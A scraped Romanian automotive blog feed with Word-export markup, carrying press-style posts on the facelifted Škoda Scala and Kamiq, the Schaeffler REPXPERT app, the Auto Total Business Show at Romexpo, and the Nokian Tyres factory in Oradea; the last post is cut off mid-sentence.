<w:LsdException Locked="false" Priority="46"
Name="Grid Table 1 Light Accent 2"/>
<w:LsdException Locked="false" Priority="47" Name="Grid Table 2 Accent 2"/>
<w:LsdException Locked="false" Priority="48" Name="Grid Table 3 Accent 2"/>
<w:LsdException Locked="false" Priority="49" Name="Grid Table 4 Accent 2"/>
<w:LsdException Locked="false" Priority="50" Name="Grid Table 5 Dark Accent 2"/>
<w:LsdException Locked="false" Priority="51"
Name="Grid Table 6 Colorful Accent 2"/>
<w:LsdException Locked="false" Priority="52"
Name="Grid Table 7 Colorful Accent 2"/>
<w:LsdException Locked="false" Priority="46"
Name="Grid Table 1 Light Accent 3"/>
<w:LsdException Locked="false" Priority="47" Name="Grid Table 2 Accent 3"/>
<w:LsdException Locked="false" Priority="48" Name="Grid Table 3 Accent 3"/>
<w:LsdException Locked="false" Priority="49" Name="Grid Table 4 Accent 3"/>
<w:LsdException Locked="false" Priority="50" Name="Grid Table 5 Dark Accent 3"/>
<w:LsdException Locked="false" Priority="51"
Name="Grid Table 6 Colorful Accent 3"/>
<w:LsdException Locked="false" Priority="52"
Name="Grid Table 7 Colorful Accent 3"/>
<w:LsdException Locked="false" Priority="46"
Name="Grid Table 1 Light Accent 4"/>
<w:LsdException Locked="false" Priority="47" Name="Grid Table 2 Accent 4"/>
<w:LsdException Locked="false" Priority="48" Name="Grid Table 3 Accent 4"/>
<w:LsdException Locked="false" Priority="49" Name="Grid Table 4 Accent 4"/>
<w:LsdException Locked="false" Priority="50" Name="Grid Table 5 Dark Accent 4"/>
<w:LsdException Locked="false" Priority="51"
Name="Grid Table 6 Colorful Accent 4"/>
<w:LsdException Locked="false" Priority="52"
Name="Grid Table 7 Colorful Accent 4"/>
<w:LsdException Locked="false" Priority="46"
Name="Grid Table 1 Light Accent 5"/>
<w:LsdException Locked="false" Priority="47" Name="Grid Table 2 Accent 5"/>
<w:LsdException Locked="false" Priority="48" Name="Grid Table 3 Accent 5"/>
<w:LsdException Locked="false" Priority="49" Name="Grid Table 4 Accent 5"/>
<w:LsdException Locked="false" Priority="50" Name="Grid Table 5 Dark Accent 5"/>
<w:LsdException Locked="false" Priority="51"
Name="Grid Table 6 Colorful Accent 5"/>
<w:LsdException Locked="false" Priority="52"
Name="Grid Table 7 Colorful Accent 5"/>
<w:LsdException Locked="false" Priority="46"
Name="Grid Table 1 Light Accent 6"/>
<w:LsdException Locked="false" Priority="47" Name="Grid Table 2 Accent 6"/>
<w:LsdException Locked="false" Priority="48" Name="Grid Table 3 Accent 6"/>
<w:LsdException Locked="false" Priority="49" Name="Grid Table 4 Accent 6"/>
<w:LsdException Locked="false" Priority="50" Name="Grid Table 5 Dark Accent 6"/>
<w:LsdException Locked="false" Priority="51"
Name="Grid Table 6 Colorful Accent 6"/>
<w:LsdException Locked="false" Priority="52"
Name="Grid Table 7 Colorful Accent 6"/>
<w:LsdException Locked="false" Priority="46" Name="List Table 1 Light"/>
<w:LsdException Locked="false" Priority="47" Name="List Table 2"/>
<w:LsdException Locked="false" Priority="48" Name="List Table 3"/>
<w:LsdException Locked="false" Priority="49" Name="List Table 4"/>
<w:LsdException Locked="false" Priority="50" Name="List Table 5 Dark"/>
<w:LsdException Locked="false" Priority="51" Name="List Table 6 Colorful"/>
<w:LsdException Locked="false" Priority="52" Name="List Table 7 Colorful"/>
<w:LsdException Locked="false" Priority="46"
Name="List Table 1 Light Accent 1"/>
<w:LsdException Locked="false" Priority="47" Name="List Table 2 Accent 1"/>
<w:LsdException Locked="false" Priority="48" Name="List Table 3 Accent 1"/>
<w:LsdException Locked="false" Priority="49" Name="List Table 4 Accent 1"/>
<w:LsdException Locked="false" Priority="50" Name="List Table 5 Dark Accent 1"/>
<w:LsdException Locked="false" Priority="51"
Name="List Table 6 Colorful Accent 1"/>
<w:LsdException Locked="false" Priority="52"
Name="List Table 7 Colorful Accent 1"/>
<w:LsdException Locked="false" Priority="46"
Name="List Table 1 Light Accent 2"/>
<w:LsdException Locked="false" Priority="47" Name="List Table 2 Accent 2"/>
<w:LsdException Locked="false" Priority="48" Name="List Table 3 Accent 2"/>
<w:LsdException Locked="false" Priority="49" Name="List Table 4 Accent 2"/>
<w:LsdException Locked="false" Priority="50" Name="List Table 5 Dark Accent 2"/>
<w:LsdException Locked="false" Priority="51"
Name="List Table 6 Colorful Accent 2"/>
<w:LsdException Locked="false" Priority="52"
Name="List Table 7 Colorful Accent 2"/>
<w:LsdException Locked="false" Priority="46"
Name="List Table 1 Light Accent 3"/>
<w:LsdException Locked="false" Priority="47" Name="List Table 2 Accent 3"/>
<w:LsdException Locked="false" Priority="48" Name="List Table 3 Accent 3"/>
<w:LsdException Locked="false" Priority="49" Name="List Table 4 Accent 3"/>
<w:LsdException Locked="false" Priority="50" Name="List Table 5 Dark Accent 3"/>
<w:LsdException Locked="false" Priority="51"
Name="List Table 6 Colorful Accent 3"/>
<w:LsdException Locked="false" Priority="52"
Name="List Table 7 Colorful Accent 3"/>
<w:LsdException Locked="false" Priority="46"
Name="List Table 1 Light Accent 4"/>
<w:LsdException Locked="false" Priority="47" Name="List Table 2 Accent 4"/>
<w:LsdException Locked="false" Priority="48" Name="List Table 3 Accent 4"/>
<w:LsdException Locked="false" Priority="49" Name="List Table 4 Accent 4"/>
<w:LsdException Locked="false" Priority="50" Name="List Table 5 Dark Accent 4"/>
<w:LsdException Locked="false" Priority="51"
Name="List Table 6 Colorful Accent 4"/>
<w:LsdException Locked="false" Priority="52"
Name="List Table 7 Colorful Accent 4"/>
<w:LsdException Locked="false" Priority="46"
Name="List Table 1 Light Accent 5"/>
<w:LsdException Locked="false" Priority="47" Name="List Table 2 Accent 5"/>
<w:LsdException Locked="false" Priority="48" Name="List Table 3 Accent 5"/>
<w:LsdException Locked="false" Priority="49" Name="List Table 4 Accent 5"/>
<w:LsdException Locked="false" Priority="50" Name="List Table 5 Dark Accent 5"/>
<w:LsdException Locked="false" Priority="51"
Name="List Table 6 Colorful Accent 5"/>
<w:LsdException Locked="false" Priority="52"
Name="List Table 7 Colorful Accent 5"/>
<w:LsdException Locked="false" Priority="46"
Name="List Table 1 Light Accent 6"/>
<w:LsdException Locked="false" Priority="47" Name="List Table 2 Accent 6"/>
<w:LsdException Locked="false" Priority="48" Name="List Table 3 Accent 6"/>
<w:LsdException Locked="false" Priority="49" Name="List Table 4 Accent 6"/>
<w:LsdException Locked="false" Priority="50" Name="List Table 5 Dark Accent 6"/>
<w:LsdException Locked="false" Priority="51"
Name="List Table 6 Colorful Accent 6"/>
<w:LsdException Locked="false" Priority="52"
Name="List Table 7 Colorful Accent 6"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Mention"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Smart Hyperlink"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Hashtag"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Unresolved Mention"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Smart Link"/>
</w:LatentStyles>
</xml><![endif]--><!--[if gte mso 10]>
<style>
/* Style Definitions */
table.MsoNormalTable
{mso-style-name:"Table Normal";
mso-tstyle-rowband-size:0;
mso-tstyle-colband-size:0;
mso-style-noshow:yes;
mso-style-priority:99;
mso-style-parent:"";
mso-padding-alt:0cm 5.4pt 0cm 5.4pt;
mso-para-margin-top:0cm;
mso-para-margin-right:0cm;
mso-para-margin-bottom:8.0pt;
mso-para-margin-left:0cm;
line-height:107%;
mso-pagination:widow-orphan;
font-size:11.0pt;
font-family:"Calibri",sans-serif;
mso-ascii-font-family:Calibri;
mso-ascii-theme-font:minor-latin;
mso-hansi-font-family:Calibri;
mso-hansi-theme-font:minor-latin;
mso-bidi-font-family:"Times New Roman";
mso-bidi-theme-font:minor-bidi;
mso-font-kerning:1.0pt;
mso-ligatures:standardcontextual;}
</style>
<![endif]-->
</p><p class="MsoNormal" style="line-height: normal; margin-bottom: 0cm; text-align: justify;"><span style="font-size: small;"><b style="font-family: arial;"><u><span>Compacta
și SUV-ul urban marca Škoda beneficiază acum de optimizări tehnice și de un nou
design inovator. </span></u></b></span></p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0cm; text-align: justify;"><span style="font-size: small;"><b style="font-family: arial;"><u><span>Škoda
a inclus acum în echiparea celor două modele actualizate, de asemenea, dotări
rezervate până în prezent exclusiv modelelor din clasele auto superioare. </span></u></b></span></p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0cm; text-align: justify;"><span style="font-size: small;"><b style="font-family: arial;"><u><span>Premiera
mondială digitală a celor două modele este programată pentru 1 august.</span></u></b></span></p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0cm; text-align: justify;"><span style="font-size: small;"><span style="font-family: arial;"><b><span>În
avanpremiera lansării, Škoda Auto a publicat primele schițe oficiale cu
designul exterior al celor două modele ale sale actualizate: compacta Scala și
SUV-ul compact Kamiq. Producătorul ceh de automobile și-a rafinat ambele modele
cu un design progresist și tehnologie optimizată, precum și cu dotări din
clasele auto superioare. Noile modele Škoda Scala și Škoda Kamiq își vor
sărbători premiera mondială digitală în 1 august.</span></b><b><span lang="RO"></span></b></span></span></p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0cm; text-align: justify;"><span style="font-size: small;"><span lang="RO" style="font-family: arial;">La patru ani de la lansarea lor inițială în producție,
Škoda Scala și Škoda Kamiq beneficiază acum de înnoiri considerabile.
Actualizările tehnologiei și modificările designului exterior vin să accentueze
caracteristicile esențiale specifice ale fiecărui model, ca de pildă alura
dinamică la modelul Scala și designul robust la Kamiq. Ambele modele se
evidențiază cu designul nou al farurilor, al grilei radiatorului și al barelor
de protecție din față și din spate. Noile jante din aliaj ușor și înscrisul de
pe hayon corespund noilor direcții ale conceptului de corporate design al mărcii
Škoda, completând cu eleganță noul look al celor două modele.</span></span></p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0cm; text-align: justify;"><span style="font-size: small;"><b style="font-family: arial;"><span lang="RO">Faruri mai suple și
măști cu noi inserții pentru Scala</span></b></span></p><p class="MsoNormal" style="line-height: normal; margin-bottom: 0cm; text-align: justify;"><span style="font-size: small;"><b style="font-family: arial;"><span lang="RO"><span></span></span></b></span></p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0cm; text-align: justify;"><span style="font-size: small;"><span lang="RO" style="font-family: arial;">Farurile devenite acum mai suple la Scala se extind până
în grila radiatorului, subliniind alura dinamică de ansamblu a automobilului.
Prizele de aer din masca frontală sunt separate prin noile inserții finisate în
culoarea caroseriei. Aceleași elemente pot fi observate și în difuzorul din
masca posterioară, flancată de elemente cristaline, specifice mărcii. Blocurile
optice din spate dispun acum de un design grafic nou și mai rafinat.</span></span></p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0cm; text-align: justify;"><b style="font-family: arial;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgB7DzcbeVDbyrOuNa_WuEnJ8yrdqGRBpopyL0asNIf09OWEtoerAJENNpSS6VEgtFOAa4YUeVoeCvIfu8EeHPNJVGNwx2EPO1E7GdpgWp8vQxrdes4nMjV5TqQ08S0c0q0038YF3XXh2_NmOljvOJiSN1FRcBkKHK8r731BGNS9lMMy5HiO1EvAjw-sbVW/s744/skoda-scala.jpg" style="margin-left: 1em; margin-right: 1em;"><img alt="Škoda Scala" border="0" data-original-height="360" data-original-width="744" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgB7DzcbeVDbyrOuNa_WuEnJ8yrdqGRBpopyL0asNIf09OWEtoerAJENNpSS6VEgtFOAa4YUeVoeCvIfu8EeHPNJVGNwx2EPO1E7GdpgWp8vQxrdes4nMjV5TqQ08S0c0q0038YF3XXh2_NmOljvOJiSN1FRcBkKHK8r731BGNS9lMMy5HiO1EvAjw-sbVW/s16000/skoda-scala.jpg" title="Primele detalii despre modelele actualizate Škoda Scala și Škoda Kamiq" /></a></b><span style="font-size: small;"><span style="font-family: arial;"><b><span> </span></b></span></span></p><p class="MsoNormal" style="line-height: normal; margin-bottom: 0cm; text-align: justify;"><span style="font-size: small;"><span style="font-family: arial;"><b><span>Prezență
mai impunătoare pentru Kamiq</span></b><b><span lang="RO"></span></b></span></span></p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0cm; text-align: justify;"><span style="font-size: small;"><span style="font-family: arial;">În varianta sa actualizată, Kamiq se impune printr-o
prezență și mai puternică. Elementul superior al farurilor divizate, specifice,
a devenit acum mai îngust. Grila radiatorului este mai mare și mai verticală,
prezentând lamele duble distinctive, ce formează un U în partea de jos. La masca
frontală, zona vopsită de sub grila radiatorului și priza de aer au menirea de
a accentua lățimea automobilului și sunt completate în manieră rafinată cu
difuzorul argintiu robust, ce asigură protecția părții inferioare a
automobilului. Difuzorul din spate este compus dintr-o parte superioară mai
lată, finisată în negru și o secțiune inferioară robustă, finisată în argintiu.
Elementul specific în formă de L al noilor blocuri optice din spate se leagă
vizual cu reflectoarele, care preiau, la rândul lor, forma literei L.</span></span></p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0cm; text-align: justify;"><span style="font-size: small;"><span style="font-family: arial;">Sursa: Patricia Zegreanu, </span><span lang="RO" style="font-family: arial;">Marketing & Communication Manager ŠKODA</span></span></p>
Constantin Hribanhttp://www.blogger.com/profile/16164390325687512083noreply@blogger.com0tag:blogger.com,1999:blog-4466149833957395360.post-60856695342131994042023-07-15T16:16:00.005+03:002023-08-16T13:07:21.883+03:00Aplicația mobilă Schaeffler REPXPERT<p><span style="font-family: arial;"> </span></p><div class="separator" style="clear: both; text-align: center;"><span style="font-family: arial;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjWJClwKiCne4ogigS_L12WzjuDtkk-qbOxZng-LnZMcp9PcsFAQrviXrzZphGlCXsB3gxP2GYEFURslM9B_WlfIXYI-B--kCl4HfL2f8rmPCru9NmvfEhQ4InUCxR7Op2dRPQRFAqRgbVd20obotc5XXQkut5akhP2kvG5gTDbvuLc0loKvDR0qyhc344L/s744/aplicatia-mobila-repxpert.jpg" style="margin-left: 1em; margin-right: 1em;"><img alt="Aplicația mobilă REPXPERT" border="0" data-original-height="419" data-original-width="744" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjWJClwKiCne4ogigS_L12WzjuDtkk-qbOxZng-LnZMcp9PcsFAQrviXrzZphGlCXsB3gxP2GYEFURslM9B_WlfIXYI-B--kCl4HfL2f8rmPCru9NmvfEhQ4InUCxR7Op2dRPQRFAqRgbVd20obotc5XXQkut5akhP2kvG5gTDbvuLc0loKvDR0qyhc344L/s16000/aplicatia-mobila-repxpert.jpg" title="Aplicația mobilă Schaeffler REPXPERT" /></a></span></div><p></p><p class="MsoNormal" style="text-align: justify;"><span style="font-family: arial;"><b>Căutarea produselor pentru ateliere nu a fost niciodată
atât de ușoară.</b></span></p><p class="MsoNormal" style="text-align: justify;"><span style="font-family: arial;">Această nouă soluție de buzunar va face ca identificarea
piesei potrivite pentru o reparație și a tuturor informațiilor tehnice aferente
să fie rapidă și foarte ușoară. Toți profesioniștii din garaj se pot bucura
acum de acces complet gratuit la TecDoc și pot beneficia de multe alte soluții
inteligente, cum ar fi scanerul de coduri de bare, videoclipuri de montare
pentru produsele Schaeffler sau chiar manuale de reparații specifice pentru
vehicule de la RMI. Aplicația mobilă completează oferta digitală REPXPERTs și
este acum disponibilă pentru descărcare gratuită atât pe dispozitive iOS, cât
și Android!</span></p><p class="MsoNormal" style="text-align: justify;"><span style="font-family: arial;"><b>Atelierele au acces la TecDoc cu un singur clic</b><br />
Pe ecranul de pornire bine aranjat în designul REPXPERT, utilizatorul are acces
la catalogul de piese Schaeffler prin intrările "Căutare piese" sau
"Căutare vehicule" și, de asemenea, acces complet și gratuit - după
înregistrare - la TecDoc, care prezintă toți producătorii de pe piața
independentă de piese de schimb pentru autovehicule. Piesa de schimb potrivită poate
fi identificată cu ușurință folosind toate metodele de căutare uzuale, cum ar
fi marca și modelul mașinii, numărul KBA, numărul VIN sau codul motorului.</span></p><p class="MsoNormal" style="text-align: justify;"><span style="font-family: arial;"><b>Nu mai este nevoie de tastarea plictisitoare cu ajutorul
cititorului de coduri de bare</b><br />
În cazul în care un produs este livrat și sunt necesare informații detaliate
într-un timp scurt, cititorul de coduri de bare integrat poate fi utilizat
pentru a înregistra codul EAN. Pagina de detalii a articolului TecDoc cu toate
specificațiile importante ale produsului, referințele OE, vehiculele sau
documentele tehnice legate de acesta sunt afișate imediat. Pentru utilizatorii
care au un cont REPXPERT, acest lucru funcționează chiar și pentru toate
produsele și toți producătorii de pe piața de piese de schimb auto.</span></p><p class="MsoNormal" style="text-align: justify;"><span style="font-family: arial;"><b>Sprijin valoros pentru reparații în aplicație</b><br />
Indiferent dacă o piesă a fost identificată în catalogul REPXPERT TecDoc sau în
catalogul distribuitorilor, nevoia de asistență apare adesea doar în timpul
reparației. La nivelul numărului de articol, utilizatorul poate găsi toate
documentele producătorului stocate în TecDoc, cum ar fi informații de service,
instrucțiuni de instalare sau broșuri tehnice. În special pentru produsele
Schaeffler de la mărcile LuK, INA și FAG, aplicația vine în ajutor cu ajutorul videoclipurilor
detaliate de reparații, care sunt disponibile cu ușurință în Biblioteca media.<o:p></o:p></span></p><p class="MsoNormal" style="text-align: justify;"><span style="font-family: arial;">De multe ori, însă, problemele din timpul reparațiilor
sunt specifice unui vehicul. Pornind de la o pagină de detalii a unui produs
din catalog, aplicația oferă o legătură directă către "manualele de
reparații" (ca de exemplu în cazul unui kit de ambreiaj LuK cu nr. de
articol 602 0001 00) și, astfel, acces la aproximativ 3,9 milioane de manuale
de reparații specifice vehiculelor, în prezent, pe bază de echipamente
originale. Și nu vă faceți griji: toate sunt pregătite în mod optim pentru
dispozitive mobile.</span></p><p class="MsoNormal" style="text-align: justify;"><span style="font-family: arial;"><b>Valorile DMF în buzunar </b><br />
Și dacă în timpul reparației sunt necesare date de instalare specifice, cum ar
fi cuplul DMF și valorile nominale? Acestea sunt, de asemenea, disponibile în
aplicație la "CheckPoint". Valorile sunt actualizate lunar și sunt un
must-have pentru oricine repară ambreiaje sau volante cu masă dublă.</span></p><p class="MsoNormal" style="text-align: justify;"><b><span style="font-family: arial;">Tot ce trebuie să faceți acum este să descărcați gratuit
aplicația!</span></b></p><p class="MsoNormal" style="text-align: justify;"><span lang="EN-US"><span style="font-family: arial;">
</span></span></p><p class="MsoNormal" style="text-align: justify;"><span style="font-family: arial;">Sursa: REPXPERT România</span></p><p></p><p></p>Constantin Hribanhttp://www.blogger.com/profile/16164390325687512083noreply@blogger.com0tag:blogger.com,1999:blog-4466149833957395360.post-29278605002391638772023-06-08T18:35:00.002+03:002023-06-08T18:55:11.584+03:00Bucureștiul se transformă în arena adrenalinei: Auto Total Business Show la Romexpo!<p><span style="font-family: arial;"> </span></p><div class="separator" style="clear: both; text-align: center;"><span style="font-family: arial;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiSOeP0mgnb5Tj_Xgi-ZV63QIDZHCUaysFo3hC3CZM8zBM4MDN8Ph6lK84gT78TLFVkpaUq9hR1-AlEtQkRiFbVMBYmPxLlt3orXcowsBGnj9S3vT1NL_mTTwWBHbX6KarK0ZC0EGHCWW8PuC_FDXkD5JwaGjuNJHFMFDwfcp2sy1uArGbeRQDnev_ofg/s744/auto-total-business-show-2023.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Auto Total Business Show 2023" border="0" data-original-height="496" data-original-width="744" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiSOeP0mgnb5Tj_Xgi-ZV63QIDZHCUaysFo3hC3CZM8zBM4MDN8Ph6lK84gT78TLFVkpaUq9hR1-AlEtQkRiFbVMBYmPxLlt3orXcowsBGnj9S3vT1NL_mTTwWBHbX6KarK0ZC0EGHCWW8PuC_FDXkD5JwaGjuNJHFMFDwfcp2sy1uArGbeRQDnev_ofg/s16000/auto-total-business-show-2023.jpg" title="Bucureștiul se transformă în arena adrenalinei: Auto Total Business Show la Romexpo în weekend!" /></a></span></div><span style="font-family: arial;"><br /></span><p></p><p class="MsoNormal" style="text-align: justify;"><span style="font-family: arial;"><b>Auto Total Business Show (ATBS) încinge asfaltul de
la Romexpo în acest weekend. Pe 10 și 11 iunie, super-showuri de
drift, acrobații pe două roți, trial moto, momente spectaculoase marca
strongmen și multe alte surprize îi vor încânta toți pasionații de mașini
și nu numai. Anul trecut, la ediția cu numărul XI a ATBS, au participat 43.000
de spectatori. Intrarea este liberă. Organizator: AD Auto Total.</b></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="font-family: arial;"><b>Vor fi două zile de adrenalină, motoare turate și
cauciucuri încinse.</b> În premieră în România, francezul Julien Perret,
vicecampion mondial la trial moto pregătește demonstrații spectaculoase de
cascadorie. La cei 29 de ani ai săi, tânărul se mândrește cu numeroase premii
și multiple titluri de campion național și internațional. Julien a apărut pe
scena ITALIA'S GOT TALENT 2022, e de patru ori campion al Ligii Midi Pyrenees
S1, de patru ori campion al Ligii Aquitaine, campion al Franței la proba urbană
S1 09 și multe altele.</span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="font-family: arial;"><b>Caii-putere fac spectacol pe asfalt.</b> Nu lipsesc
consacratele sesiuni de drift: anul acesta, la volanul mașinilor ce vor rupe
asfaltul urcă campionii naționali și internaționali din echipa RoDrift - Adrian
Liviu Balut, Cosmin Ciontu, Raya Goranova (Bulgaria), Silvio Gotsev (Bulgaria),
Ștefan Mladenov (Bulgaria) și Florin Costea. Așii volanului au de îndeplinit
sarcini spectaculoase: derapaje controlate între două puncte fixe în zgomotul
asurzitor al motoarelor turate, parcare laterală în drift și atingerea unei
bile suspendate.</span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="font-family: arial;"><b>Omul împotriva mașinii.</b> Vlad Leahu, campion național și
vicecampion internațional la Strongman, Gabriel Păun, Srieh Mutasem, Iulian
Moțoc și Ioan Alexandru Cristolovean vin la ATBS să demonstreze că imposibilul
poate deveni posibil. În program: răsturnări impresionante de anvelope
(400 kg) și probe incredibile de tras camioane de 15 tone, plus alte câteva
momente care le vor da șansa să-și etaleze abilitățile supraomenești în demonstrații
excepționale marca Strongman.</span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="font-family: arial;"><b>ATBS 2023 garantează acțiune la fiecare colț și
distracție maximă pentru toate vârstele.</b> Dinner in the sky, karting,
escaladă, sunt doar câteva dintre surprizele pe care evenimentul le are în
program pentru weekend-ul 10-11 iunie.</span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="font-family: arial;">În Pavilionul Central, peste 130 de standuri transformă
spațiul într-o vitrină dedicată inovației și celor mai noi
tendințe din industria automotive. Este locul unde giganții
domeniului, producători de top de piese auto originale și
aftermarket, aduc în prim-plan ultimele apariții din
domeniu. „La ATBS, an de an, mii de antreprenori din industria
reparațiilor auto vin să ia pulsul viitorului în automotive. ATBS este
platforma perfectă pentru vânzări, un hub menit să stimuleze colaborări
dinamice, parteneriate strategice de afaceri și alianțe
comerciale la cel mai înalt nivel. Misiunea noastră este de a
cataliza progresul în industria auto.”, declară Gabriel Zane, Director
Marketing la AD Auto Total.</span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="font-family: arial;">La ediția de anul trecut, Auto Total Business Show a
înregistrat un număr record de 43.000 de spectatori. Anul acesta, programul de
vizitare este sâmbătă și duminică, 10-11 iunie, între orele 10:00 –
18:00. </span></p>
<p class="MsoNormal" style="text-align: justify;"><span lang="EN-US"><span style="font-family: arial;">Sursa: Mirela Tănasă, indie.life</span><span style="font-family: Arial, sans-serif;"><o:p></o:p></span></span></p>Constantin Hribanhttp://www.blogger.com/profile/16164390325687512083noreply@blogger.com0tag:blogger.com,1999:blog-4466149833957395360.post-67676629815940708592023-05-13T12:54:00.001+03:002023-05-13T12:54:17.278+03:00Nokian Tyres, investitie de 650 milioane euro in Oradea<p><span style="font-family: arial;"> </span></p><div class="separator" style="clear: both; text-align: center;"><span style="font-family: arial;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhdi9-PK1Ffo5Js_BeI3zaIPTB8SWbA5FNrfFZjkdENOfk0AARI7LBW-Sra0X2t5t5qHaBDO5MwjCUuUsuAejClbmcxgjWwFPlhcEAFRhtbJiI9oNPgiZydYrAMHF8eYQ8ThXcawOJXIIC9A3ZI1gTlxDKfBDUbrWv47pniAgAAaCXeoB-mz69nto5W4w/s960/nokian-tyres-la-oradea.jpeg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Nokian Tyres la Oradea" border="0" data-original-height="500" data-original-width="960" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhdi9-PK1Ffo5Js_BeI3zaIPTB8SWbA5FNrfFZjkdENOfk0AARI7LBW-Sra0X2t5t5qHaBDO5MwjCUuUsuAejClbmcxgjWwFPlhcEAFRhtbJiI9oNPgiZydYrAMHF8eYQ8ThXcawOJXIIC9A3ZI1gTlxDKfBDUbrWv47pniAgAAaCXeoB-mz69nto5W4w/s16000/nokian-tyres-la-oradea.jpeg" title="Nokian Tyres, investitie de 650 milioane euro in Oradea" /></a></span></div><span style="font-family: arial;"><br /></span><p></p><p class="MsoNormal" style="text-align: justify;"><span style="font-family: arial;">Prima fabrica din lume care va produce anvelope cu emisii
zero de CO2 se construieste in Romania, la Oradea, in urma unei selectii facute
in alte 40 de locatii din 40 de tari. Este vorba despre fabrica Nokian
Tyres, a carei ceremonie de inaugurare a lucrarilor a avut loc joi, 11 mai
2023, in prezenta premierului Nicolae Ciuca, a reprezentantilor companiei, dar
si a mai multor diplomati si reprezentanti ai Consiliului Judetean Bihor.
Trebuie precizat ca noua fabrica Nokian Tyres se construieste pe terenul
fostului CET II de pe centura municipiului Oradea si reprezinta un manifest al
companiei finlandeze Nokian Tyres, care a decis in 2021 sa se retraga din
Rusia, ca raspuns la invadarea Ucrainei.</span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="font-family: arial;">Vorbim despre o investitie de 650 milioane de euro, care
va permite ca in anul 2024, in Oradea, sa fie produse, intr-un an, 6 milioane
de anvelope de iarna, de vara si all season, premium, atat pentru autoturisme
si SUV-uri, cat si de dimensiuni mari. Din aceasta cantitate de anvelope, circa
90% va fi comercializata la export, restul urmand sa ramana pentru piata din
Romania, la randul sau producatoare de autoturisme.</span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="font-family: arial;">Cu prilejul inceperii lucrarilor la prima fabrica din
lume care va produce anvelope cu emisii zero de CO2, Jukka Moisio, CEO si
presedintele Consiliului de Administratie al Nokian Tyres, a apreciat ca
aceasta investitie va aduce crestere si prosperitate inclusiv pentru populatia
din zona: <i>„Mari investitii, precum aceasta, inseamna crestere si
prosperitate inclusiv pentru populatia din aceasta zona… Inaugurarea acestei
fabrici cu zero emisii de CO2 e dovada angajamentului nostru fata de
sustenabilitate”.</i></span></p>
<p class="MsoNormal" style="text-align: justify;"><span style="font-family: arial;">La randul sau, premierul Nicolae Ciuca a subliniat ca
fabrica de anvelope Nokian Tyres de la Oradea este o investitie pe termen lung
care atrage oportunitati de dezvoltare a zonei in viitor:</span></p>
<p class="MsoNormal" style="text-align: justify;"><i><span style="font-family: arial;">„Este o investitie de peste 600 de milioane euro, dar din
aceasta investitie, ajutorul de stat este unul consistent, de aproximativ 100
de milioane euro. Ca atare, este, din punctul meu de vedere, un model de a
intelege modul in care ne putem sprijini reciproc pe proiecte de anvergura.
Avem nevoie de proiecte de anvergura care sa aiba o contributie substantiala la
dezvoltarea economiei noastre. Astazi, de fapt, putem sa remarcam ca deja au
inceput lucrarile, s-a pregatit terenul pentru inceperea lucrarilor. Astazi are
loc inaugurarea oficiala. Am inteles ca, in 2024, vom avea primele anvelope
produse la Oradea. Practic, pentru Oradea va insemna un loc important pe harta
productiei de automotive in Europa si in lume, va insemna mai multe locuri de
munca, va insemna mai multi bani la bugetul local si mai multi bani la bugetul
de stat. Din punctul meu de vedere, este o investitie care va asigura o parte
de beneficiu pentru toti actorii implicati in acest proiect. Ceea ce doresc sa
mai subliniez este faptul ca perspectiva despre care am vorbit atunci cand
ne-am intalnit si am reusit sa schimbam cateva cuvinte cu conducerea Nokian
Group: este important sa vedem aceasta investitie pe termen lung si
oportunitatile prin care putem sa dezvoltam colaborarea si sa vedem cum, pe
orizontala, putem sa aliniem si alte activitati conexe la nivelul productiei de
anvelope in tara noastra”.</span></i></p>
<p class="MsoNormal" style="text-align: justify;"><span style="font-family: arial;">Premierul Ciuca a vorbit si despre componenta ecologica
pe care compania finalandeza o foloseste, vorbind despre intentia
reprezentantilor Nokian de a construi un parc de panouri fotovoltaice pentru
asigurarea necesarului de energie regenerabila pentru fabrica din Oradea:</span></p>
<p class="MsoNormal" style="text-align: justify;"><i><span style="font-family: arial;">„Este un moment important pentru noi toti, pentru Uniunea
Europeana sau pentru oricare dintre tarile unde Nokian va exporta aceste
anvelope. Este foarte important sa vedem aceasta simbolistica verde si nivelul
de ambitie subliniat mai devreme de catre antevorbitorul meu legat de zero
emisii de dioxid de carbon. Este prima fabrica de anvelope din lume care va
atinge acest nivel de ambitie. (…) De asemenea, este foarte important, si am
discutat chiar la vremea respectiva, acum, iata, se concretizeaza, Nokian Group
si-a propus sa aiba o componenta proprie de producere a energiei verzi, deci va
avea o componenta de energie regenerabila si, desigur, va beneficia si de
facilitatile pe care autoritatile locale le dezvolta in ceea ce priveste
asigurarea energiei electrice din surse regenerabile. Stiu ca este in
desfasurare realizarea unui parc de panouri voltaice de capacitate suficienta
